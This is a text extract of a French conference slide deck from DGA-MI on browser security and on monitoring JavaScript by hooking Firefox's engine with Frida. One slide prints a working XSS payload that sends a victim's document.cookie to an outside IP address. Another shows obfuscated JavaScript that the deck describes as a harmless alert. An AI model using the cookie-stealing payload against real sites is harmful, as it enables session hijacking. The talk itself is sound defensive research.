View
2
Download
0
Category
Preview:
Citation preview
CONSTRUISONS ENSEMBLE
LA DÉFENSE DE DEMAIN
NAVIGATEURS & SÉCURITÉ
DGA-MI
31/01/2018
2
>WHOAMI
▪ Responsable de laboratoire à DGA-MI
▪ Publications :
• MISC 49: Transformer une BDD Oracle en Proxy Web à partir d’une Injection SQL
• SSTIC 2013: Fingerprinting de Navigateurs
▪ Chercheur associé à l’IMT Atlantique
▪ Membre du CO BotConf
DGA-MI
31/01/2018
3
BROWSERS !
DGA-MI
31/01/2018
4
EVOLUTION DES NAVIGATEURSwww.evolutionoftheweb.com
DGA-MI
31/01/2018
5
« BROWSER WAR »
▪ Course effrénée aux fonctionnalités
• Discriminant marketing vis-à-vis des concurrents
• Implémentation sans réflexion vis-à-vis de la sécurité
▪ Compte twitter dédié au suivis de ces fonctionnalités
•@intendtoship
DGA-MI
31/01/2018
6
CONSÉQUENCES
▪ Surface d’attaque accrue du navigateur
▪ Possibilités de fingerprinting plus
importantes
▪ Casse tête pour les développeurs web
• Compatibilité Inter-navigateurs
▪ Mécanismes de sécurité à la traine
• Et pas toujours disponible d’un navigateur à l’autre…
DGA-MI
31/01/2018
7
EX: JAVASCRIPT VS CSP
DGA-MI
31/01/2018
8
PRIVACY: GHOSTERY (& CIE)
▪ Blocage par blacklist des domaines de tracking
• Et c’est tout…
▪ Ne peuvent guère faire plus
• Restriction des capacités d’action des extensions
▪Modèle WebExtension de Chrome et importé dans Firefox
• Impossible d’accéder au JavaScript d’une page avant son chargement dans le moteur JS.
▪ Pour faire pareil sur votre réseau:
• Récupérer la liste des domaines & urls associés dans les extensions
• Blacklistez les sur vos Proxy Web
Extensions pour la privacy sur les navigateurs
DGA-MI
31/01/2018
9
PRIVACY: FIREFOX FOCUSAndroid & iOS uniquement
DGA-MI
31/01/2018
10
SECURITY:ANTI-VIRUS & NAVIGATEURSSource: publication Google & CloudFlare
DGA-MI
31/01/2018
11
EXEMPLE DE MENACEUne XSS dans le navigateur
Parser HTMLInterpreteur
JavaScript
HTTP / HTTPS
Document Object Model
11
Document.cookie
<img src=x
onerror=javascript:eval("document.write('<img
src=http://192.168.80.146/?cookie='+document.cookie+
'/>');document.close();")/>
document.write('<img src=http://192.168.80.146/?cookie='+document.cookie+'/>');
document.close();<img src=http://192.168.80.146/?cookie=PHPSSID=abz34en54bs3 />
http://192.168.80.146/?cookie=PHPSSID=abz34en54bs3
DGA-MI
31/01/2018
12
UN DISPOSITIF DE SÉCURITÉ IDÉAL
▪ Fonctionne sur tous les navigateurs
▪ Sans les modifier
• Afin de ne pas rajouter de bugs / failles
▪ Sans casser les mécanismes de sécurité existants
• Pas de MitM ni dégradation de SSL
NOM DE LA DIRECTION ÉMETTRICE
31/01/2018
13
JAVASCRIPT & SÉCURITÉ
Prenons un peu de recul
DGA-MI
31/01/2018
14
JAVASCRIPT
▪ Un grand nombres d’attaques contre les navigateurs
reposent sur JavaScript
• C’est aussi vrai pour les PDF…
▪ Le JavaScript « manipule » le navigateur via plusieurs
API
• Le DOM est la plus connue d’entre elles…
▪ S’execute depuis de nombreux endroits dans le code
HTML
DGA-MI
31/01/2018
15
JS EST OBFUSCATION-FRIENDLY
▪ $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_
$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+
"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$__
_:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$]
)+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])
+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$._
_+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$
=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_
]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")
())();
Oui, ceci est un alert(0);
DGA-MI
31/01/2018
16
COMMENT CONTRÔLER JAVASCRIPT
▪ SOP
▪ CORS
▪ CSP
▪ X-Frame-Option
Et ses copains du web dans un navigateur
DGA-MI
31/01/2018
17
IL MANQUE UN TRUC…
▪ Nativement dans le navigateur ?
• Il faut patcher/recompiler T_T
▪ En JavaScript:
• ES6 Proxy
▪Permet d’encapsuler un objet JavaScript
▪ Il faut être le premier à s’exécuter
▪Seulement si le moteur supporte le standard ES6
• Moniteurs de sécurité JavaScript (en JavaScript)
▪ Il faut être le premier à s’exécuter
Comment contrôler l’accès aux API JavaScript ?
DGA-MI
31/01/2018
18
MISE EN OEUVRE
▪ Se placer à
l’entrée du
moteur
JavaScript
▪ Ajouter le code
de monitoring
aux bons
endroits
En théorie ça doit marcher…
Parser HTMLInterpreteur
JavaScript
HTTP / HTTPS
Document Object Model
DGA-MI
31/01/2018
19
FRIDA.RE
▪ Outil d’analyse dynamique pour le reverse-engineering
▪ Basé sur le moteur JS V8 de Chrome
▪ Permet de Hooker des fonctions sur de multiples
plateformes
•Windows, Linux, Android, iOS
▪ API Python
La cousine d’IDA ?
DGA-MI
31/01/2018
20
PIMP MY FIREFOXYO DAWG, I HEARD YOU LIKE JAVASCRIPT ?
SO I’VE PUT A JAVASCRIPT ENGINE IN YOUR JAVASCRIPT
ENGINE SO YOU CAN EXECUTE JAVASCRIPT WHILE YOU
EXECUTE JAVASCRIPT
DGA-MI
31/01/2018
21
EN PRATIQUEParfois ça crash…
DGA-MI
31/01/2018
22
LES PROBLÈMES RENCONTRÉS
▪ Complexité du code d’un navigateur
• Pas beaucoup de doc sur les internals de SpiderMonkey
▪Dxr.mozilla.org est votre meilleur ami
▪ Hook du mauvais composant dans le moteur
• Génère beaucoup d’appels = saturation des I/O entre V8 & Python
▪ Il faut remonter plus haut dans le code
▪ Mauvaise interprétation de la structure de l’objet au bout
du pointeur
• Lecture d’une zone mémoire invalide = crash
▪Eviter de hooker des objets complexes & polymorphes
Et résolus
DGA-MI
31/01/2018
23
LES TRUCS COOLS
▪ Symboles de debug disponibles
• Merci Mozilla
▪ Source lisible et facilement navigable
• Merci Mozilla & vive DXR
▪ Support Multi-Process de Firefox
• On ne crash que le contenu de l’onglet et pas le navigateur.
▪ Simplicité & Stabilité de Frida
• Merci Frida.re
DGA-MI
31/01/2018
24
DEMO
DGA-MI
31/01/2018
25
PERSPECTIVES
▪ Support multi-navigateurs
▪ Moteur de déobfuscation JS
▪ Mécanisme de politiques de sécurité JS générique
• Si vous manquez d’idées de thèse ou de stage…
DGA-MI
31/01/2018
26
QUESTIONS
Recommended